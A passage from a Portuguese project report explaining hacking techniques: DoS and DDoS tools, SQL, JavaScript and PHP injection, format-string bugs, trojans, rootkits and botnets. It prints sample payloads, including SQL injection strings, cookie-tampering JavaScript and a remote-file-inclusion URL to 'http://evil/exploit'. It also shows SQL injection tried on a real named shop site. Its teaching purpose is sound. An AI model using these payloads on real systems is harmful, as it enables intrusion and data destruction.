o Windows as coloca é de 15, o que faz com que fiquem a espera do processador

para poderem continuar a sua execução.

10.1.3 Falhas na programação

A negação de serviços pode ocorrer quando é explorada uma falha grave no código de

uma aplicação, quando é enviada uma grande quantidade de informação que a aplicação

não consegue tratar ou quando não é comprido o protocolo da aplicação. Qualquer um

destes problemas pode fazer com que o computador onde a aplicação está a ser

executada bloqueie, reinicie ou desligue.

Alguns dos ataques que se destinam a explorar falhas na programação são:

Ping Of Death, é um dos tipos de ataque de DoS mais antigos.

Page 104: relatorio de projecto-Documentação teórica das técnicas de hacking

104

Este ataque afectava uma grande variedade de sistemas entre eles, sistemas

Unix, Linux, Mac, Windows, impressoras e routers. O problema explorado por

este ataque encontra-se praticamente resolvido desde 1998.

Este ataque é baseado no facto de no protocolo TCP/IP o tamanho dos pacotes

de dados enviados não ser verificado. Segundo o protocolo TCP/IP o tamanho

máximo de um pacote tem de ser de 65.536 octetos (RFC-791) pelo que se um

sistema recebe um pacote com um tamanho superior não o consegue tratar e

assim bloqueia ou reinicia.

Neste ataque é criado um pacote com o tamanho superior a 65.536 octetos e este

é enviado para a máquina a atacar. A máquina vítima recebe o pacote e bloqueia,

reinicia ou desliga.

O nome “Ping Of Death” surgiu do facto de este ataque ser geralmente

efectuado a partir da ferramenta “ping” que se encontra embutida em quase

todos dos sistemas Windows e Linux.

Como esta é uma ferramenta existente em quase todos os sistemas um atacante

podia atacar um sistema sem ter de utilizar uma ferramenta criada por si. A

ferramenta “ping” é usada geralmente para verificar se um computador se

encontra ligado ou não á rede. Esta baseia-se no protocolo ICMP (Internet

Control Message Protocol), usa este para enviar uma mensagem “Echo Request”

à máquina e esta responde com uma mensagem “Echo Reply” se estiver ligada.

Esta ferramenta pode ser usada para atacar um sistema quando é utilizada com o

parâmetro “-l” (length) e este parâmetro é definido com uma tamanho superior

ao que é permitido para um pacote. Por defeito os pacotes enviados tem o

tamanho de 4 octetos mas podem então ser definidos para ter um tamanho

superior a 65 536 bits o que faz com que o sistema atacado reinicie ou bloqueie

assim que começar a receber os pacotes com o tamanho superior ao tamanho que

ele consegue suportar. Para isso podemos chamar o comando ping da seguinte

maneira: “ping –l 65 555 X.X.X.X”.

Teardrop, este ataque explora uma falha no protocolo TCP/IP que tem a ver

com a montagem dos pacotes recebidos e que pode fazer com que o sistema

atacado bloqueie ou reinicie.

Este ataque atinge sobretudo sistemas operativos Windows 3.1x, Windows 95 e

Windows NT, assim como as versões de Linux anteriores há 2.0.32.

Page 105: relatorio de projecto-Documentação teórica das técnicas de hacking

105

Numa comunicação TCP/IP normal os dados para serem enviados são divididos

em pacotes mais pequenos no sistema de origem e são juntos no sistema de

destino depois de terem chegado todos os pacotes. Quando os pacotes são

montados para formar os dados que foram enviados pode ocorrer uma falha que

consiste no facto de os intervalos dos vários pacotes não baterem certo e o

sistema não conseguir montar os dados.

Por exemplo se quisermos enviar um conjunto de 4 000 bytes de dados para um

sistema, este dados serão divididos em pacotes mais pequenos com um intervalo

definido e são esses pacotes mais pequenos que vão ser enviados para o sistema

destino. Por exemplo este conjunto de dados pode ser dividido do seguinte

modo:

Parte 1: dados de 1 até 1 000 bytes

Parte 2: dados de 1 001 até 2 000 bytes

Parte 3: dados de 2 001 até 3 000 bytes

Parte 4: dados de 3 001 até 4000 bytes

Para cada pedaço de dados é definido o intervalo que deve transportar, intervalo

este que está definido no campo OFFSET do cabeçalho de um pacote TCP. Os

dados são montados novamente tendo em conta a ordem em que são enviados e

o valor do seu OFFSET.

A execução do ataque Teardrop baseia-se no facto de não ser feita qualquer

validação do valor do OFFSET dos pacotes transmitidos o que permite que

sejam alterados os valores deste dando assim valores que se sobreponham uns

aos outros, o que vai fazer com que o sistema atacado não consiga montar os

pacotes e acabe por bloquear ou reiniciar.

Por exemplo, se o conjunto de dados anterior for enviado do modo apresentado a

seguir o sistema não vai conseguir montar os pacotes novamente, porque a

indicação do início do pacote seguinte está adulterada:

Parte 1: dados de 1 até 1 000 bytes

Parte 2: dados de 1 000 até 2 000 bytes

Parte 3: dados de 2 000 até 3 000 bytes

Parte 4: dados de 3 000 até 4000 bytes

Existem mais programas que exploram esta vulnerabilidade como bonk, boink e

nestea.

Page 106: relatorio de projecto-Documentação teórica das técnicas de hacking

106

Land, este ataque é muito semelhante ao ataque de SYN Flooding. Este ataque

baseia numa falha que existe em algumas implementações do protocolo TCP/IP,

que consiste em certos sistemas não serem capazes de tratar pacotes que

recebam que tenham o mesmo endereço e porta de origem e destino. Caso um

sistema vulnerável a esta falha receba um pacote com o mesmo endereço e porta

de origem e destino o sistema atingido vai falhar porque não vai ser capaz de

processar os pacotes e vai fazer com que o processador fique a trabalhar ao

máximo para tentar processa-los.

Este tipo de ataque é facilmente combatido definindo regras de filtragem de

pacotes no router ou firewall, nomeadamente bloqueando á entrada destes todo

o tráfego que tenho como endereço de origem um endereço interno e

bloqueando a saída todo o tráfego que tenha como endereço de origem um

endereço exterior, sendo que assim se previne ser atacado do exterior ou que o

sistema interno seja usado para efectuar um ataque ao exterior.

Apesar deste ataque ser muito antigo é capaz de afectar sistema com o Windows

2003 ou Windows XP com SP2 se estes tiverem a firewall desligada.

Latierra é outra aplicação que explora a mesma falha.

SMBdie, este ataque é dirigido ao servidor SMB (Server Message Block) dos

sistemas Microsoft. Este tipo de DoS cria um pacote de Request defeituoso que

envia para a porta 139 ou 445. A máquina que corre o serviço vai passar a negar

o acesso a todos os utilizadores porque não vai conseguir tratar o pacote que

recebeu.

10.1.4 Ataques de DOS distribuídos

Page 107: relatorio de projecto-Documentação teórica das técnicas de hacking

107

Imagem 57 – Representação de um ataque DDoS

Este tipo de ataque é mais perigoso do que os ataques de negação de serviço falados

anteriormente e é muito mais difícil de proteger um sistema contra um ataque de

negação de serviço distribuído.

Uma das grandes diferenças entre um ataque de negação de serviço normal e um ataque

de negação de serviço distribuído é que no primeiro a relação entre o numero de

atacantes e atacados é de 1:1 e no segundo é de Muitos: 1.

Num ataque típico de negação de serviço o atacante começa por infectar um elevado

numero de computadores de uma rede insegura que ele encontre, actualmente a maioria

dos atacantes infectam utilizadores domésticos porque estes na sua maioria utilizam

banda larga para aceder a Internet e não possuem mecanismos de protecção instalados.

Por fim o atacante liga-se a todas as máquinas infectadas para enviar instruções para

realizar um ataque contra o sistema que se pretende mandar abaixo.

Os sistemas infectados com as ferramentas para efectuar o ataque são designados de

Zombies e os sistemas que controlam estes (enviam ordem aos Zombies) são chamados

de Mestres. Os sistemas mestre também são computadores que estão infectados por uma

Page 108: relatorio de projecto-Documentação teórica das técnicas de hacking

108

ferramenta, mas estes tem a capacidade de enviar informação aos Zombies e de receber

ordem do computador do atacante.

Este tipo de hierarquia permite ao atacante esconder a sua identidade e controlar uma

quantidade muito elevada de sistemas para usar para levar a cabo um ataque.

Para este tipo de ataque são usadas ferramentas como:

1 - Tribal Flood Network (TFN) e TFN2K:

Esta ferramenta permite efectuar ataques de negação de serviço baseado em ataques de

TCP, SYN ou UDP descritos anteriormente.

Esta ferramenta é baseada em dois programas:

Programa cliente TFN;

Programa DAEMON (Programa que corre em background nas máquinas

infectadas);

O atacante controla os sistemas com as aplicações clientes e os sistemas clientes

controlam os sistemas com as aplicações DAEMON.

Um atacante pode controlar uma ou mais aplicações clientes e pode comunicar com

estas através do protocolo TCP, UDP, ICMP, etc. Para comunicar não precisa de usar

password. A comunicação entre as aplicações clientes e as aplicações DAEMON é feita

através de pacotes de resposta ICMP. A maioria das versões desta aplicação usam

portas aleatórias para comunicar pelo que é mais difícil de detectar se a aplicação está a

correr num sistema ou não.

2 - Trin00:

Esta aplicação utiliza o protocolo UDP para comunicar.

Esta aplicação é composta por dois programas:

Trin00 master;

Trin00 Daemon;

A aplicação master é protegida por password, mas as password usadas são as colocadas

por defeito e são publicas. A utilização de password serve para controlar a utilização

das aplicações pois assim apenas é permitido a um atacante de cada vez utilizar estas. A

comunicação entre as várias aplicações é feita por portas específicas pelo que podem ser

criadas regras para bloquear o tráfego gerado entre estes sistemas.

A comunicação entre o atacante e a aplicação Master é feita pela porta TCP numero 27

665;

Page 109: relatorio de projecto-Documentação teórica das técnicas de hacking

109

A comunicação entre a aplicação Master e DAEMON é feita pela porta UDP numero 27

444;

A comunicação entre a aplicação DAEMON e Master é feita pela porta UDP numero 31

335;

3 – Stacheldraht (arame farpado):

Esta ferramenta combina as melhores características das duas descritas anteriormente.

Ela é composta por duas aplicações:

Stacheldraht Master (handler);

Stacheldraht Daemon (agent);

A principal diferença entre esta ferramenta e as anteriores é que enquanto nas anteriores

os pacotes eram transmitidos em texto nesta a informação transmitida entre o atacante e

a aplicação master é cifrada com uma chave simétrica. Por defeito toda a comunicação

entre o atacante e a aplicação master é feita pela porta TCP numero 16 660.

A comunicação entre a aplicação master e Daemon ocorre pela porta 65 000 com

recurso aos protocolos ICMP e TCP.

Nesta ferramenta é necessária autenticação com recurso a uma password.

Uma das novidades desta ferramenta em relação ás anteriores é que esta permite que se

faça actualizações á aplicação Daemon remotamente.

Page 110: relatorio de projecto-Documentação teórica das técnicas de hacking

110

11 Validação de Input

A falta de validação ou erro na validação do input de aplicações está na origem de quase

todas as vulnerabilidades exploradas executar um ataque. Estas falhas podem ser

exploradas mesmo sem conhecimento de programação ou sem a utilização de

ferramentas. Estas falhas podem ser exploradas por exemplo pela tentativa de inserir

num formulário todo o tipo de valores e caso este não se encontrar protegido aparece

rapidamente um erro.

As falhas na validação de input acontecem sempre devido a uma politica de

programação incorrecta levada a cabo por programadores que apenas tem em vista

desenvolver uma aplicação que cumpra os objectivos e esquecem-se de testar a

aplicação para saber se apenas permite que sejam inseridos valores válidos ou se

permite a inserção de valores inválidos.

Este tipo de falhas ocorrem em aplicações que recebam dados do utilizador, sejam esses

dados texto normal, uma consulta SQL, um comando, uma password, um login, etc. Se

for encontrada uma falha podem ser inseridos no lugar dos dados esperados valores

manipulados de forma a fazer com que a aplicação tenha uma resposta que não é

esperada. Esta resposta não esperada pode devolver dados confidenciais, permitir acesso

ao sistema, fazer com que o sistema deixe de responder, etc.

Devido a enorme diversidade de situações onde pode ocorrer uma falha na validação de

dados e pelo perigo que estas situações podem representar é muito mais cómodo e

barato para as organizações que comercializam software investir na fase de

desenvolvimento em testes para garantir que o software não apresenta falhas de input

para impedir que depois de lançarem um produto tenham de andar a lançar

actualizações e é igualmente mais cómodo e seguro para o cliente que estes testes sejam

feitos pois evita a perda de confiança no produto além de evitar que o cliente tenha de

andar a instalar actualizações do software sempre que é detectado um erro.

Page 111: relatorio de projecto-Documentação teórica das técnicas de hacking

111

11.1 Tipos de ataques

11.1.1 Injecção de código SQL

A injecção de SQL consiste em conseguir executar consultas ou comandos SQL no

sistema através da inserção de código SQL juntamente com os dados esperados. Isto

ocorre quando o sistema não faz a protecção do input correctamente, o que leva a que

através da manipulação deste se consiga inserir código.

Este tipo de ataque é maioritariamente realizado em páginas web que fazem chamadas a

base de dadas para pedir dados, nomeadamente páginas dinâmicas, páginas com

inserção de dados ou páginas com script’s em ASP, PHP ou CGI , nestes casos a

ferramenta utilizada pelo atacante será apenas um browser e algum conhecimento de

código SQL.

Alguns dos ataques que podem ser efectuados se um sistema não se encontra protegido

são os seguintes:

Podem ser alterados os valores que se encontram na barra de endereços do

browser de maneira a serem devolvidos todos os valores de uma determinada

tabela. Por exemplo se uma página tiver o seguinte endereço (depois de

escolhido a categoria a pesquisar):

“http://www.saspatariaonline.com/index.asp?categoria=sapatos” , se este

endereço for alterado para

“http://www.saspatariaonline.com/index.asp?categoria=sapatos or 1=1” o

browser vai devolver ao utilizador todas as categorias que se encontram

registadas na base de dados.

Se tivermos de efectuar login e não existir a validação dos valores inseridos

vamos ter uma consulta parecida com “Select * from utilizadores where

nome=”nome_inserido” e password=”password_inserida”;”, neste caso o

atacante pode simplesmente inserir o texto “abcd’ or 1=1--” e vai conseguir

acesso imediato ao sistema uma vez que este vai assumir a identidade da

primeira pessoa que se encontra registada na tabela de utilizadores, esta situação

é mais grave se o primeiro utilizador registado na tabela for o administrador do

sistema porque, dá o nível de acesso deste. Este caso é possível pela utilização

do carácter “-” duas vezes que na linguagem SQL indica que tudo o que se

Page 112: relatorio de projecto-Documentação teórica das técnicas de hacking

112

encontra a seguir a este é comentário o que faz com que todo o texto a seguir a

este seja ignorado. Neste caso faz com que não seja necessário inserir a

password e o utilizador é imediatamente validado.

Pode ser inserido código de forma a fazer com que o sistema perca informação

vital para o seu funcionamento, por exemplo se numa caixa de texto for pedido o

numero de calçado e o utilizador inserir “ 45;DROP TABLE users ” e a tabela

“users” contiver a informação de login dos utilizadores o programa executará o

seguinte código: “SELECT * FROM calcado WHERE numero = 45;DROP

TABLE users; ” o que vai fazer com que a tabela users seja eliminada e deixe de

ser possível aos utilizadores registados fazer login até que a tabela seja criada

novamente e a informação seja reposta.

Em seguida pode ver-se que o site “www.chip7.pt” se encontra vulnerável a ataques

de SQL injection.

Se seleccionarmos no site a categoria “Portáteis” vemos na barra de endereços o

seguinte endereço: “http://www.chip7.pt/catalogo/index.php?cat=527&sessao=1”

pelo que pudemos supor que a categoria 527 corresponde á categoria de portáteis.

Imagem 58 – mostrar os elementos na categoria portáteis na página

“www.chip.pt”

Se inserirmos em seguida á categoria o código “or 1=1” vão ser devolvidas todas as

categorias que se encontram na tabela porque não existe um filtro para não permitir

a inserção de código SQL.

Page 113: relatorio de projecto-Documentação teórica das técnicas de hacking

113

Imagem 59 – página “www.chip7.pt” com SQL injectado na barra de

endereço.

11.1.2 Injecção de código Javascript

A injecção de Javascript é feita com recurso ao browser com a página que se pretende

explorar aberta.

A injecção de javascript é feita através da barra de endereço do site depois de se limpar

o endereço que está presente nela.

Os comandos usados para injectar código são alert (); e void ();

Se quisermos então executar um comando de Javascript no browser é necessário

substituir o texto da barra de endereços por exemplo: “javascript: alert (‘mensagem’);”

e se quisermos executar vários comandos podemos por exemplo colocar “javascript:

alert (‘primeira mensagem’); alert (‘segunda mensagem’);”, no primeiro exemplo vai

aparecer uma caixa de diálogo a dizer “mensagem” e no segundo exemplo vão aparecer

duas caixas de diálogo.

Com injecção de código javascript é possível a um atacante descobrir quais os cookies

que estão a ser utilizados, os valores dos cookies e acrescentar cookies, para isso o

atacante tem de correr as seguintes linhas (no browser):

Page 114: relatorio de projecto-Documentação teórica das técnicas de hacking

114

Javascript:alert(document.cookie); esta linha faz aparecer uma caixa de dialogo

com a informação dos cookies e quais os valores que tem.

Imagem 60 – Cookies presentes na página www.orelhas.pt

Javascript:void(document.cookie=”campo=novo_valor”); esta linha permite

que o valor do cookie “campo” seja alterado caso ele exista para o valor

“novo_valor” e caso o cookie não exista vai cria-lo com o valor inserido.

Imagem 61 – Adicionar um cookie á página com javascript.

Page 115: relatorio de projecto-Documentação teórica das técnicas de hacking

115

Imagem 62 – Confirmação de que o cookie foi inserido.

O maior perigo de utilização de javascript numa página surge porque através deste é

possível manipular os valores dos campos dos formulários presentes na página. Para um

atacante alterar o valor de um campo do formulário precisa apenas de descobrir qual o

numero do formulário que pretende, isto porque os formulários de uma páginas estão

guardados no vector de formulários que pode ser acedido em “document.forms[X]”, em

que “X” é o valor do formulário pretendido, e em seguida pode alterar o valor do campo

acedendo á propriedade “value”.

Se tivermos o seguinte formulário:

Se assumirmos que este é o primeiro formulário da página então estará em “forms[0]”

assim, se escrever-mos a linha:

Javascript:alert(document.forms[0].meumail.value);

<form action= http://www.meusite.com/submit.php method=

“post”>

<input type= “hidden” name= “meumail” value=

[email protected]>

Page 116: relatorio de projecto-Documentação teórica das técnicas de hacking

116

Aparece uma janela com o valor “[email protected]” escrito.

Agora se o atacante quiser alterar o valor do e-mail para um endereço que ele tenha

criado apenas tem de fazer:

Como se vê por este exemplo é então fácil para um atacante manipular os dados dos

formulários depois de analisar o código fonte da página.

11.1.3 Injecção de código PHP

A injecção de código PHP consiste em fornecer código PHP ao servidor que tem o site

alojado. A injecção de código pode ser feito de duas maneiras distintas. Pode explorar a

validações de expressões dinâmica. Neste caso pode explorar o uso da função “eval”

pelo servidor, uma vez que esta função interpreta o input como código e executa-o, o

que vai fazer com que os comandos enviados ao servidor sejam executados.

Se tivermos o código:

Se a variável “arg” contiver um comando este vai ser executado.

Ainda se insere neste tipo de vulnerabilidade a validação dinâmica de variáveis e de

funções porque, a validação dinâmica de variáveis permite redefinir o valor de variáveis

globais e caso a redefinição contenha uma expressão em vez de um valor a resposta do

servidor pode não ser a desejada pelo administrador do sistema. A validação dinâmica

de funções permite que sejam chamas funções que não o deveriam ser.

A outra vulnerabilidade que se encontra em servidores PHP é a de estes permitirem a

inclusão de ficheiros.

/* http://en.wikipedia.org/wiki/Code_injection#PHP_Injection */ $myvar = "varname";

$x = $_GET['arg'];

eval("\$myvar = \$x;");

Javascript:void(document.forms[0].meumail.value=

[email protected]”);

Page 117: relatorio de projecto-Documentação teórica das técnicas de hacking

117

O exemplo seguinte apresenta código que permite que sejam incluídos ficheiros no

servidor:

O código anterior devia garantir que apenas podia ser carregado o ficheiro blue.php e

red.php, mas como essa protecção não está feita pode ser inserido qualquer valor em

vez de um desses. Se for inserido uma das seguinte linhas:

É carregado um ficheiro que contem um exploit no servidor.

11.1.4 Format string

Este tipo de falha na validação de input foi tornada publica em Junho de 1999 e deu

origem a um conjunto novo de vulnerabilidades presente em muitos programas

desenvolvidos na linguagem C.

Esta falha é explorada nas funções que recebem um numero variável de parâmetros, em

que um dos parâmetros é uma string de formatação que indica qual o tipo de dados que

vão ser recebidos nos restantes parâmetros para que, o compilador saiba o que vai

receber e como é que deve tratar os dados recebidos. A falha nestas funções encontra-se

/vulnerable.php?COLOR=http://evil/exploit /vulnerable.php?COLOR=C:\ftp\upload\exploit /vulnerable.php?COLOR=..\..\..\..\ftp\upload\exploit /vulnerable.php?COLOR=C:\notes.txt%00

<?php $color = 'blue';

if ( isset( $_GET['COLOR'] ) ) $color = $_GET['COLOR'];

require( $color . '.php' ); ?> <form>

<select name="COLOR"> <option value="red">red</option>

<option value="blue">blue</option> </select> <input type="submit">

</form>

Page 118: relatorio de projecto-Documentação teórica das técnicas de hacking

118

presente quando é possível ao utilizador de algum modo fornecer a string de formatação

ou apenas parte desta.

Um exemplo de código com vulnerabilicade muito simples de entender é o seguinte:

Neste ultimo caso o utilizador pode introduzir, por exemplo, os caracteres “%” e “s”,

uma ou mais vezes, o que permite que este possa introduzir a quantidade de informação

que desejar de acordo como o número de caracteres introduzido.

Mas se for o programador a escolher a formatação e o utilizador apenas inserir os dados

então a função deixa de apresentar esta falha:

Algumas das funções que recebem os parâmetros de formatação são fprintf, printf,

snprintf, sprintf, syslog, e as strings de formatação que podem ser inseridas podem

conter %d que indica que vai receber um valor do tipo inteiro, %u que indica á função

vai receber um valor inteiro positivo, %x que indica á função que vai ler um valor em

formato hexadecimal, %n que indica á função que vai ter de escrever o numero de bytes

que foram imprimidos para a saída até ao momento, etc.

Uma função que trabalha com strings de formatação trata os seus valores do seguinte

modo:

- Lê um carácter de cada vez, se o carácter não for o “%” envia-o para a saída, se tiver o

carácter “%” e em seguida novamente o mesmo carácter a função imprime o carácter

“%” para a saída e caso esteja á frente do carácter “%”qualquer outro carácter que

func (char *user)

{

printf ("%s", user);

}

func (char *user)

{

printf (user);

}

Page 119: relatorio de projecto-Documentação teórica das técnicas de hacking

119

represente um determinado tipo de dados então a função lê o valor da pilha para

escrever para a saída.

Este tipo de vulnerabilidade pode ser explorada em código como o seguinte:

Exemplo retirado do Linux (rpc.statd, IRIX telnetd):

Exemplo retirado de wu-ftpd, Qualcomm Popper QPOP 2.53:

Depois de descoberta uma vulnerabilidade destas podem ser feitos ataques muito

diferentes como por exemplo:

Inserir um input que faça com que a aplicação deixe de responder, este tipo

ataque é muito escolhido se o objectivo for fazer com que o sistema atacado

deixe de responder.

Utilizar uma formatação de forma a conseguir ver endereços de memória da

pilha para tentar saber a localização de elementos, tamanho da pilha, etc.;

Utilizar uma formatação que permita ver o que se encontra na memória, fora da

pilha;

int Error (char *fmt, ...);

...

int someotherfunc (char *user)

{

...

Error (user);

...

}

...

char tmpbuf[512];

snprintf (tmpbuf, sizeof (tmpbuf), "foo: %s", user);

tmpbuf[sizeof (tmpbuf) - 1] = '\0';

syslog (LOG_NOTICE, tmpbuf);

Page 120: relatorio de projecto-Documentação teórica das técnicas de hacking

120

Conseguir escrever fora da memória da pilha de maneira a alterar o valor do

intruction pointer para executar código que o atacante pretende;

etc.

12 Roubo da propriedade intelectual

A propriedade intelectual diz respeito a dados privados de um indivíduo ou organização.

Muitas empresas protegem a sua propriedade intelectual de forma a manter ou aumentar

os seus lucros e rendimentos. A propriedade intelectual incluiu a criação de novos

produtos, serviços a lançar para o mercado, o desenho de produtos que devem ser

protegido da concorrência, informação confidencial interna tanto da empresa como dos

clientes, etc.

Muitas das empresas que são bem sucedidas no mundo foram criadas a partir de

estratégias desenvolvidas em volta da propriedade intelectual.

A grande importância da propriedade intelectual faz com que a motivação para os

ataques, infiltrações nos sistemas, e espionagem para a obtenção de informações

aumente. As organizações estão cada vez mais preocupadas em proteger os seus dados e

informações confidenciais para evitar que a concorrência tome proveito das suas ideias.

12.1 Tipos de ataques

12.1.1 Trojans

Os trojans são programas aparentemente inofensivos que vêm escondidos em

aplicações como jogos, screensaver’s, etc. Ao contrário dos vírus e worms não tem

capacidade de se replicar.

Existem trojan com funcionalidades distintas, como permitir o acesso remoto ao

sistema afectado, que enviam dados para o atacante (informação de login, e-mail, etc.),

que destroem dados (apenas alguns ficheiros, formatam o disco, etc.), que provocam a

negação de serviço, que colocam o sistema infectado a funcionar como servidor FTP

para o atacante poder enviar e receber ficheiros (filmes, musica, pornografia, etc.), que

desactivam o software de segurança presente na vítima (antivírus, firewall, etc.).

Depois do programa estar instalado e da vítima se ligar a Internet, um atacante pode ter

acesso e manipular remotamente os dados e hardware do sistema infectado. A partir do

Page 121: relatorio de projecto-Documentação teórica das técnicas de hacking

121

computador infectado, o atacante pode atacar o sistema de terceiros para encobrir a sua

verdadeira identidade e incriminar o utilizador do sistema intermediário.

Os trojans podem causar danos graves. Alguns atacantes invadem um sistema apenas

para pregar uma partida ao utilizador mas tem sempre a possibilidade de apagar dados,

formatar o disco, etc. A maioria dos ataques tem como objectivo encontrar ficheiros que

contenham informações confidenciais e de roubar informação de login. Quando o

sistema de uma empresa é invadido, o atacante pode roubar informações privadas como

por exemplo as tácticas da empresa para lidar com o mercado e com a concorrência,

pondo em risco o sector financeiro e a reputação da empresa. Depois do trojan estar

instalado no sistema o atacante pode aceder, apagar, e copiar ficheiros do sistema

infectado e pode deixar o sistema aberto a outros com a mesma intenção.

Existem trojans que trabalham como Keyloggers. Os keyloggers tem a capacidade de

registar a informação de login do utilizador para o sistema, para páginas web, para

software que necessite de login, números de cartão de credito, etc. Alguns podem gravar

o nome da aplicação e a data em que a password foi inserida. È possível configurar este

para que envie a informação recolhida para um endereço de email.

Um trojan pode ser programado para funcionar como um vírus ou um worm. Também é

possível configurar um para se auto destruir num determinado dia e numa determinada

hora, o que pode fazer com que a vítima nunca chegue a perceber que esteve infectado.

Outra configuração possível é programar o trojan de forma a executar uma acção, numa

determinada data e hora, para levar o utilizador a pensar que o seu sistema ainda não

tinha sido infectado antes desse momento.

Os trojans são divididos em cliente e servidor. Normalmente o servidor está oculto num

arquivo aparentemente inofensivo, e quando este é executado instala-se na vítima.

Depois de instalado este abre uma porta para o atacante se poder conectar com a

aplicação cliente ou com qualquer outra aplicação cliente que suporte.

Para um ataque deste tipo, é necessário seguir determinados passos.

O primeiro passo é arranjar uma forma de instalar a parte servidor do trojan no sistema

da vítima. Esta parte é talvez a mais difícil do ataque, pois o atacante tem que convencer

a vítima de que o ficheiro, que pode ser enviado por e-mail, Messenger, etc. é

inofensivo. O trojan pode ir acoplado na instalação de uma aplicação legitima, para que

quando a vítima execute o ficheiro legítimo vá na verdade executar os dois mas apenas é

apresentado o processo de instalação da aplicação legitima. O atacante também pode

copiar o trojan para um CD-ROM e usar o auto-run para o executar, assim ele é

Page 122: relatorio de projecto-Documentação teórica das técnicas de hacking

122

instalado logo que o CD-ROM é reconhecido pelo leitor, se o auto-run estiver activo. Se

o atacante tiver acesso físico com o sistema, o trojan pode ser instalado directamente.

Depois do servidor estar instalado, este abre uma porta para o cliente se poder conectar

ao sistema atacado. Cada trojan abre uma porta pré definida.

Para o cliente se poder conectar ao sistema da vítima, é preciso descobrir de alguma

forma o seu endereço de IP. Alguns trojans podem ser configurados para enviar um

email com o endereço IP da máquina infectada para que, um atacante saiba qual o

endereço do computador infectado.

Depois do atacante obter o endereço IP da máquina infectada já se pode conectar a esta.

Na maioria das vezes, o atacante instala um backdoor no sistema infectado para poder

voltar a aceder a este facilmente. Alguns dos trojans mais conhecidos são o Back

orifice, GirlFriend, netBus, etc.

Imagem 63 – Ferramenta NetBus versão 2.01 Pro

Existem várias formas de detectar se um sistema foi infectado por um trojan. Algumas

delas são apresentadas de seguida.

A parte que trabalha como servidor do trojan abre uma porta para permitir a conexão da

parte cliente logo, é possível verificar as portas que estão abertas e as portas em que

existe uma conexão estabelecida. Basta introduzir o comando “netstat –n” na linha de

comandos e será apresentada uma lista com as porta abertas. Se alguma das portas que

Page 123: relatorio de projecto-Documentação teórica das técnicas de hacking

123

está na lista estiver mencionada no anexo, onde mostra as portas predefinidas de cada

trojan, provavelmente o sistema estará infectado.

Imagem 64- Printscreen do resultado do comando “netstat -n”

Para verificar se não existe nenhum trojan a espera de receber uma ligação pode-se usar

o comando “netstat -an” para verificar se não existe nenhuma ligação suspeita a espera

(no estado LISTENING).

Imagem 65 – Listagem das portas com ligação estabelecida ou a espera de ligação

Page 124: relatorio de projecto-Documentação teórica das técnicas de hacking

124

Normalmente um trojan tem um endereço de e-mail definido para onde vai enviar a

informação. Pode-se verificar se está a foi feita alguma ligação a um servidor de SMTP

(porta 25) externo desconhecido e se tiver sido existe a hipótese do sistema se encontrar

infectado.

Existem várias ferramentas que permitem detectar a presença de trojans como Trojan

Remover, The Cleaner etc. A maioria dos antivírus também são eficazes na detecção e

remoção deste tipo de software.

Para o trojan afectar o sistema, é necessário que seja iniciado ou carregado na memória

todas as vezes que o Windows inicia. Para tal tem haver uma referência, por exemplo

num ficheiro de arranque.

Os ficheiros de arranque do registo podem ter referências para um trojan que esteja

instalado.

Caminhos para os ficheiros de arranque:

Outros ficheiros em que os Trojans podem ter referencias são nos ficheiros win.ini e

System.ini. Todos os programas referenciados nestes ficheiros são executados no

arranque.

Os ficheiros autoexec.bat e winstart.bat também são executados sempre que o Windows

inicia, e também podem conter referências de trojans.

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curre

ntVersion\explorer\ Shell Folders]"Common

Startup"="C:\windows\start menu\programs\startup"

[HKEY_CURRENT_USER\Software\Microsoft\Windows\Current

Version\Explorer\User Shell Folders] Startup="C:\windows\start

menu\programs\startup"

1. [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentV

ersion\Explorer\Shell Folders] Startup="C:\windows\start

menu\programs\startup"

2. [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current

Version\explorer\User Shell Folders]"Common

Startup"="C:\windows\start menu\programs\startup"

Page 125: relatorio de projecto-Documentação teórica das técnicas de hacking

125

Todos os programas que são automaticamente executados quando o Windows inicia

estão no registo do Windows em:

12.1.2 Rootkits

Este nome surgiu para designar as aplicações que são usadas para aceder a sistemas

Linux que tem instalado um backdoor e em que o nível de acesso é total, ou seja, o nível

de acesso é o de “root”. Um Rootkit instala-se no sistema e esconde-se deste para

ocultar a sua presença e a presença de ficheiros que esteja esconder.

Um rootkit pretende-se esconder do sistema operativo onde se encontra. Para esconder a

sua presença elimina as suas chaves de registo, esconde os seus processos do gestor de

tarefas e os seus ficheiros do disco para o utilizador não poder aceder a estes. Estas

características fazem com que seja muito difícil de detectar e de eliminar de um sistema.

No Linux/Unix os rootkit’s geralmente substituem os programas mais comuns, como os

que listam ficheiros, para que quando seja pedida uma listagem dos ficheiros presentes

em disco a sua presença seja ocultada.

1. [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current

Version\RunServices]

2. [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current

Version\RunServicesOnce]

3. [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current

Version\Run]

4. [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current

Version\RunOnce]

5. [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentV

ersion\Run]

6. [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentV

ersion\RunOnce]

7. [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentV

ersion\RunServices]

Page 126: relatorio de projecto-Documentação teórica das técnicas de hacking

126

No sistema Windows geralmente infectam os processos em memória para que quando

seja pedida informação sobre ficheiros ou processos ele possa esconder a sua

informação.

12.1.3 Backdoors

Um backdoor é diferente de um trojan porque é qualquer tipo de aplicação que permite

a um atacante se ligar a um computador sem passar pelo processo de autenticação. Este

tipo de programas é muito útil ao atacante porque o trafico em vez de ser gerado de fora

da rede para dentro da rede, tem origem dentro da rede e é enviado para fora o que

facilita a tarefa do atacante pois o tráfego de dentro da rede para fora não é, regra geral,

tão filtrado como o que é gerado do exterior para o interior.

Estes programas são normalmente usados depois de um ataque ao sistema para permitir

que o atacante regresse ao computador atacado sem ser detectado e para não ter

dificuldade em conseguir uma ligação.

12.1.4 Bots e Botnets

Um bot tem a capacidade de comunicar para o exterior para permitir que a maquina

infectada seja controlado de fora.

Um bot para comunicar liga-se a um servidor IRC (Internet Relay Chat) e entra numa

sala predefinida. Em seguida recebe instruções do atacante através das mensagens que

este escreve na sala.

Um bot pode ser usado para lançar um ataque de negação de serviço, para roubar

informação, para enviar email’s de spam, usar o computador infectado como servidor

